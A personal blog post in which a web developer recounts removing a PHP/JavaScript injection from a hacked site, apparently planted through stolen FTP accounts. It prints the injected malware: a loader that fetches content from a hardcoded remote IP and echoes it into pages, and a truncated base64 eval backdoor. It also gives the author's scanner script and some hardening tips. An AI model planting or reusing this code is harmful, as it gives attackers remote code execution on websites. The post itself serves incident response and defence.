viperfx07 is here to blog about hacking, cracking, website, application, android, and many more.

Tuesday, April 8, 2014

The walkthrough to fix ftpchk3.php virus that hacked my website

11:30 AM Posted by viperfx07 , , , , , , 1 comment

Background

I work as a web developer for a financial company and got a hacking problem related to scripts that are being injected and got an insight today and FINALLY SOLVED IT. When I first found this problem, I didn't bother at all. I just replaced all the infected files with cleaned ones and hope that would solve the problem. But apparently, it came again on the next day 

I got reckon these things first before I've reached to a conclusion of the REAL culprit
1. Disable vulnerable codes to upload files. I thought the hackers were smart but apparently not that smart
2. Outdated framework codes (if applicable)I updated to the latest version but didn't solve the problem.
3. FTP accounts GOT HACKED. I never think of this before until I slowly and thoroughly think about the problem. Try the steps below

I still think I was lucky enough that the hacker didn't upload any PHP shells like c99.php because they could've taken over the whole website. Also, they didn't delete any files from the server.

LESSON LEARNED !!!

Walkthrough

In my case, the virus changes all your html and javascript files to add a malicious script into your site. This injection allows the attacker to remotely execute PHP code on your website if the php infected code is running on your pages. Its supposedly called Bagle.

These might be the problem 


#23858f#
if (empty($aq)) {
    error_reporting(0);
    @ini_set('display_errors', 0);
    if (!function_exists('__url_get_contents')) {
        function __url_get_contents($remote_url, $timeout)
        {
            if (function_exists('curl_exec')) {
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $remote_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
                $_url_get_contents_data = curl_exec($ch);
                curl_close($ch);
            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
                $ctx = @stream_context_create(array('http' =>
                    array(
                        'timeout' => $timeout,
                    )
                ));
                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
                $handle = @fopen($remote_url, "r");
                $_url_get_contents_data = @stream_get_contents($handle);
            } else {
                $_url_get_contents_data = __file_get_url_contents($remote_url);
            }
            return $_url_get_contents_data;
        }
    }
    if (!function_exists('__file_get_url_contents')) {
        function __file_get_url_contents($remote_url)
        {
            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
                $remote_url, $matches)
            ) {
                $protocol = strtolower($matches[1]);
                $host = $matches[2];
                $path = $matches[3];
            } else {
                // Bad remote_url-format
                return FALSE;
            }
            if ($protocol == "http") {
                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
            } else {
                // Bad protocol
                return FALSE;
            }
            if (!$socket) {
                // Error creating socket
                return FALSE;
            }
            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
            $len_written = @fwrite($socket, $request);
            if ($len_written === FALSE || $len_written != strlen($request)) {
                // Error sending request
                return FALSE;
            }
            $response = "";
            while (!@feof($socket) &&
                ($buf = @fread($socket, 4096)) !== FALSE) {
                $response .= $buf;
            }
            if ($buf === FALSE) {
                // Error reading response
                return FALSE;
            }
            $end_of_header = strpos($response, "\r\n\r\n");
            return substr($response, $end_of_header + 4);
        }
    }
    if (empty($__var_to_echo) && empty($remote_domain)) {
        $aq = "http://46.244.10.234/b2.php";
        $aq = __url_get_contents($aq, 1);
        if (strpos($aq, 'http://') === 0) {
            $__var_to_echo = '';
            echo $__var_to_echo;
        }
    }
}
#/23858f#

After I found this code, I decided to create a scanner which looks like this (myscanner.php) (not using BASH since I don't have SSH to my server) to scan all files in public_html then I used CRONJOB to run it every 6 hours and save the output in a file:

//Enable the source codes to scan all the codes in public_html recursively from
//Worm/Trojan script injection.
//It searches http://46.244.10.234/b2.php in the file contents and look for __var_to_echo variable

function foundTheHackInPhpFiles($filepath)
{
 return (strpos(file_get_contents($filepath),"http://46.244.10.234/b2.php") !== false || strpos(file_get_contents($filepath),"$__var_to_echo") !== false); 
}

function foundTheHackInJsFiles($filepath)
{
 return preg_match("/src.*.php/", file_get_contents($filepath)); //if searching 
}

//myscanner.php is this file
//wsc.js contains the src from a legit php source
$safeFiles = array('myscanner.php', 'wsc.js');

$directory = '/home2/username/public_html';
$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));
$it->rewind();
echo ''. "\n" . "
";
while($it->valid()) {

 //for php files
    if (!$it->isDot() && substr($it->getFilename(),-3) == 'php') {
        $foundTheHackInPhp = foundTheHackInPhpFiles($it->key());
        if($foundTheHackInPhp && !in_array($it->getFilename(), $safeFiles)) echo 'File:' . $it->key() . "\n";
    }

 //for javascript files
    if (!$it->isDot() && substr($it->getFilename(),-2) == 'js') {
        $foundTheHackInJs = foundTheHackInJsFiles($it->key());
        if($foundTheHackInJs && !in_array($it->getFilename(), $safeFiles)) echo 'File:' . $it->key() . "\n";
    }

    $it->next();
}
echo '
'."\n";

The next day, I got only the JS files and no malicious PHP files.

Then, I decided to read the access logs again and found out:
78.47.42.179 - - [08/Apr/2014:00:45:05 +1000] "GET /ftpchk3.php

Someone ran a malicious code on my server. 

I searched on Google about ftpchk3.php and found this article http://digitalpbk.blogspot.com.au/2009/10/ftpchk3-virus-php-pl-hacked-website.html

What it does?
It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like 
eval(base64_decode('aWYoIWlzc2V0KCRiMHNyMSkpe2Z1bmN0aW9uIGIwc3IoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCg
kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc
..
//Truncated
..
ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19J
GIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs='));

The code adds scripts to your code (like __var_to_echo variable in the first source code) and executes codes coming via GET requests.

I checked my FTP accounts and logs and found out that the accounts I setup were being used to upload ftpchk3.php and infected/injected JS files. I still do not know how they got the FTP account details.

I removed those accounts because they are not used anymore and I'm 100% sure it SOLVES the problem

Steps to consider

1. Scan all your vulnerable codes

1. Look for codes that are used to upload files. Make sure the codes not only check the MIME types because they can be TAMPERED easily. Also, check Null Byte Parameter exploit.

2. SQL Injection and XSS could be the culprit.

In my case, the codes are not the culprit

2. Update your framework codes (if applicable)

I searched on Google for vulnerabilities in CakePHP 1.2 and realised that I needed to update it to the latest version.

In my case, the CakePHP 1.2 is not the culprit

3. Secure your FTP Accounts 

You might not know that your FTP account have been compromised. Make sure that your password is complex enough from brute force attack.

4. Check your RAW access and FTP access logs

This will help you to track down who accessed your server, what have been accessed and/or uploaded on your server.